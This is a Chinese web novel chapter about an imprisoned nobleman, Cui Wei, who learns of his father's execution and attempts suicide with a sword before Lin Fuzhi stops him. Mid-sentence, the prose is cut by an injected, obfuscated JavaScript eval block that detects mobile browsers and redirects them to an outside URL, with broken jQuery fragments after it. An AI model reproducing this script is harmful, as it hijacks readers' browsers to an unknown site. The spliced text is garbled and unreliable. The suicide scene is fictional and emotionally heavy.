默认冷灰
24号文字
方正启体

30. 救人

作者:逢仙子本书字数:K更新时间:
    牢房里暗无天日,崔巍只能靠狱卒送饭的次数来算日子。起初他还数着,后来伤口溃烂发了高热,整个人昏昏沉沉,连时日都记不清了。


    不知是第五日还是第七日,那些差役突然不再来提审他了。身上的伤疼得厉害,烧得他神志模糊,偶尔清醒过来,勉强在墙上刻下几道痕迹。


    他摸着墙上的痕迹,粗略盘算,只怕是被关进来已有半月了。


    牢房的缝隙又在渗水,滴在他额头肿胀的伤口上,却让崔巍难得清醒了几分。


    外头传来皂吏的脚步声和腰间钥匙碰撞的声响,崔巍勉强睁开眼睛,却看见一个带着黑色兜帽的纤细身影走来。


    那皂吏腆着笑将牢房打开,吩咐了两句时间便转身就走,只留下那黑色兜帽的人站在自己面前。


    崔巍撑着手掌,勉强坐直了几分。


    那人取下兜帽,手里的食盒也随之放下,露出的脸上带着几分忧愁,竟然是只有一面之缘的宋婉仪。


    崔巍一怔:“……宋姑娘?”


    宋婉仪的目光落在崔巍身上,心头猛地一颤。


    他虽强撑着坐直了身子,可那件灰败的囚服下,隐约可见道道血痕。


    领口处露出的锁骨嶙峋突兀,鞭伤交错,新伤叠着旧伤。


    那张曾经温润如玉的脸,如今瘦得眼窝深陷,连唇色都泛着不正常的灰白。


    宋婉仪捏着自己的手帕,突然有些后悔自己要来见他最后一面的逞强,嚅嗫着开口:


    “崔公子。”


    两人相顾无言,牢房里一时静默,只有远处囚犯的哀嚎声隐隐传来。


    “你的手……?”


    “此地污秽,不该姑娘涉足之地,还是快快回去吧。


    两人同时开口,宋婉仪微微一怔。


    她没想到崔巍落到这般田地,第一句话竟是关心她。那双清冷的眸里闪过一丝复杂,轻声道:“崔公子,我此次是来传话的。”


    她没说出口的是,为了踏进这大牢,她违抗了家中严令,暗中打点了多少银钱。宋家的掌上明珠,本不该与阶下囚有任何瓜葛,即便是带话,也用不着她亲自前来。


    “公子与我,本已经换了八字,下月就该定亲。”


    “……只是如今的情况,还盼着崔公子,忘了这回事。”


    崔巍缓缓闭上眼睛。


    这本就是意料之中的事,即便她不来撇清关系,他也不会连累宋家。再睁眼时,他嘴角扯出一抹淡淡的笑:“自然,姑娘与我本就不相识。”


    宋婉仪却心有愧疚:“……”


    “我来,也是为了送公子一程……”


    她确实对崔巍存了几分真心,也是满心期待着这桩婚事……那日赏梅宴上他救人的风姿,还留在自己的回忆里,只是没想到短短一月,造化弄人,两人已经是云泥之别。


    “崔公子也知晓,家父与大理寺有些往来……”


    她咬了咬唇,看着崔巍惨白的脸色,终究还是狠心道:


    “国公爷,已经被叛斩立决……昨日已经行刑。”


    话音未落,宋婉仪先撇过头红了双眼,不敢再看崔巍的神情。


    崔巍只觉脑中嗡地一响——


    他对父亲的感情,并非自己以为的那样泾渭分明。


    即便恨他将家族拖入万劫不复的深渊,也恨他对自己的努力视若无睹。


    可午夜梦回时,却也偶尔会看见,年幼时候,他也曾骑在父亲肩上,一同赏花骑马,一同射箭打猎……


    但今日之事,崔巍只当这是世家大族逃不开的宿命——一荣俱荣,一损俱损。


    他本以为,像父亲这样的人,这辈子就该在后院与那些莺莺燕燕纠缠不清,做个荒唐度日的闲散国公。


    却不想,竟落得如此下场——


    ……


    崔巍突然弯下腰干呕起来,胃里翻江倒海般的绞痛让他冷汗涔涔。


    空荡荡的胃里却只能吐出几口带着血丝的酸水,喉头火辣辣的疼。


    宋婉仪看着他惨白的脸色和颤抖的脊背,听着牢门外渐近的脚步声,知道时辰急迫。


    她不过是借着父亲的名头唬住了狱卒,实在耽搁不得了。


    “我来,也是想,崔公子能够清清楚楚地……”


    崔巍闭着眼,声音颤抖:“崔家其他人呢?”


    宋婉仪咬了咬嘴唇:“女眷都……入了教坊司,男丁流放北疆。黄家也受了牵连,黄大人被革职查办。”她顿了顿,“至于公子你……被贬为庶人,后续如何还未定夺。”


    崔巍缓缓睁开眼睛,眸中竟是一片清明。


    他望着眼前这个只有一面之缘的贵女,知道她能来这一趟已是天大的恩情。


    “多谢宋姑娘……”他声音很轻,却字字清晰,“冒险来告知。”


    宋婉仪叹了口气,她也没想到崔巍如何走到了这一步:


    “崔家已没有旁人为你打点,这食盒里……是我准备的饭菜。”


    她顿了顿,声音更轻:“你若还有什么需要的,但说无妨。”


    崔巍的目光掠过食盒,最终却落在牢房潮湿的地面上,他缓缓抬起头,看向宋婉仪的双眸,声音有三迟疑。


    “我想要,一把匕首。”


    “不过……罢了,宋小姐就当我在说胡话吧。快走吧,狱中阴凉。”


    “……”


    宋婉仪紧紧地盯着他的双眸,曾经明亮的双眸如今却深不见底。


    即便到了这个时候,崔巍仍在担忧会不会连累她。


    她知道,这不该是她能做的事情,但是……


    即便崔巍的判决还未下来,但想来也只有死路一条……


    宋婉仪看着崔巍遍体鳞伤却依然挺直的脊梁,突然懂了。


    对这样骄傲的人来说,或许这才是最好的归宿。


    思及此,宋婉仪也不再犹豫,她抽出腰间的软剑,丢到了崔巍的身前。


    “公子,还请……珍重。”


    *


    宋婉仪已经离开了牢狱。


    她身上浅淡的香气散尽,狭小的暗室里潮湿恶心的味道再次翻涌上来,像是在告知崔巍,他与当初的生活,相去甚远。


    皂吏将宋婉仪送走后,也并未进来为难崔巍,或是知道了他的下场,也没必要再白费力气。


    那柄软剑只是姑娘家放在身上防身的东西,不过小臂长短。


    他的手指已经完全溃烂,肿胀得像五根带泥的红薯,别说握剑,就是轻轻弯曲一下,都会钻心得痛。


    崔巍苦笑两声,用掌心推开饭盒,看见里头摆放的吃食,心中也并无一丝胃口。


    而是拿出了里头的一壶酒,仰头悉数灌下。


    他很少喝酒,此时被呛得直咳嗽,却给崔巍那张几近灰白的脸带来了两分血色。


    或是酒意麻痹了他的痛苦,崔巍只觉手里也多了几分力气。


    酒意上涌,崔巍摇摇晃晃地站起身,拾起那柄短剑。


    剑身映出他憔悴的面容——这个曾经意气风发的少年郎,如今已是穷途末路。


    所谓的亲人,忙着与他撇清关系,谋求“大义灭亲”的生机;


    昔日把酒言欢的叔伯们,如今大门紧闭,将他驱赶如丧家之犬;


    即便将最后的希望托付友人,只怕……


    记忆里,父亲后院的柳姨娘总是一身脂粉气。


    那个从教坊司出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268588|182200||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来的女子,这辈子都洗不掉身上的贱籍。


    而现在,他要眼睁睁地看着自己的母亲、姐妹也要沦为那样的玩物……


    崔巍做了他能做的所有事情,换来的只有父亲斩首、家人四散的消息。


    活着,不过是徒增痛苦罢了。


    崔巍颤抖着拿起那柄剑,若是天底下只有一件事,是他还能决断的,就唯有自己的命了。


    不知不觉间,他竟然想起那日的梦。


    国公府中,白幡飘荡,原来那场葬礼,竟是给自己准备的。


    他闭上眼,一滴泪划过眼角,最终落在剑上。


    “就这样吧……”崔巍轻声呢喃,嘴角竟浮现出一丝解脱般的笑意。


    至少在这最后一刻,他还能为自己做一次主。


    软剑虽短,却十分锋利,崔巍颤抖地用两个掌心勉强握住剑柄,狠下心想要用力的时候,却听见一声破空而来的声响——


    “咻——”


    竟然是扔来的一块石头!


    软剑被击落,石头的余力却将崔巍也随之带倒。


    他跌坐在那脏污的稻草上,却万分震惊地看着木栅外的那个矮小的身影。


    正是林福芝!


    崔巍想起那场荒唐的梦,将死之时,是福芝为自己指了一条明路。


    是了,一定是自己已经死了,她是来接自己的吧?!


    *


    且说福芝这边。


    自从在镇上听闻国公府下狱的消息,她就再没睡过一个囫囵觉。


    白日里东奔西走,夜里辗转难眠,满脑子都是如何救人。


    崔巍关了有多久,林福芝就急了有多久。


    她知晓京中的关系定会花钱疏通,翻箱倒柜取出全部积蓄,就连家中的田地都一并卖了干净。


    在京中住宿都不敢花钱,只挑了客栈破旧的柴房,勉强栖身。


    忙忙碌碌大半个月,她甚至亲眼去菜市口看了国公爷的问斩。


    直到国公爷人头落地,福芝才从齐牙那里得了消息,宫中淑妃难产而亡,而那死胎见了陛下竟突然啼哭。


    钦天监说这是天意,陛下这才开恩,免了崔巍死罪,也不必再流放北疆。


    福芝没心思也不懂其中到底有多少弯弯绕绕,又有多少势力在发挥作用,她只知道,崔巍终于能够放出来了。


    在得了消息后的第一天,福芝便和爹一起去了教坊司。


    福芝带来了荷姨娘先前给她的体己钱,才终于将她从里头赎出来。


    虽仍是贱籍,总好过在那腌臜地方受苦。


    至于黄娴娘,不知为何,她竟然不愿来见福芝一行人。


    黄夫人在那里头虽然艰难,但好歹有些体面,再加之年纪上去了,或许被遣至哪家哪户坐个嬷嬷侍从,好歹不会被侮辱。


    林福芝忙得脚不沾地,实在无暇顾及黄娴娘那边的情形。


    她爹林山因身形太过魁梧,在京城走动时屡次被巡防营拦下盘问,为了不给崔家平添麻烦,林山只好先回了镇上等候。


    而第二日天色刚蒙蒙亮,齐牙便找来了客栈,告知福芝,他已经打通了狱中的关系,要尽快去将崔巍接出来。


    福芝半点不敢耽搁,当下就冲出了屋子,走到半路,又在铺子上买了几个白面馒头。


    就连荷姨娘被接出来时,都饿得几近晕倒,崔巍这更重的刑法,只怕根本没吃饱过。


    游奇水也从书院赶来,一行人就这么急匆匆地赶到了大牢前。


    福芝努力捏了捏自己的脸,想要展露出一个笑容,告诉崔巍即便如此,也要好好地活着。


    却没想到,她快步跑到崔巍牢前时,竟然看见,他在自尽。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)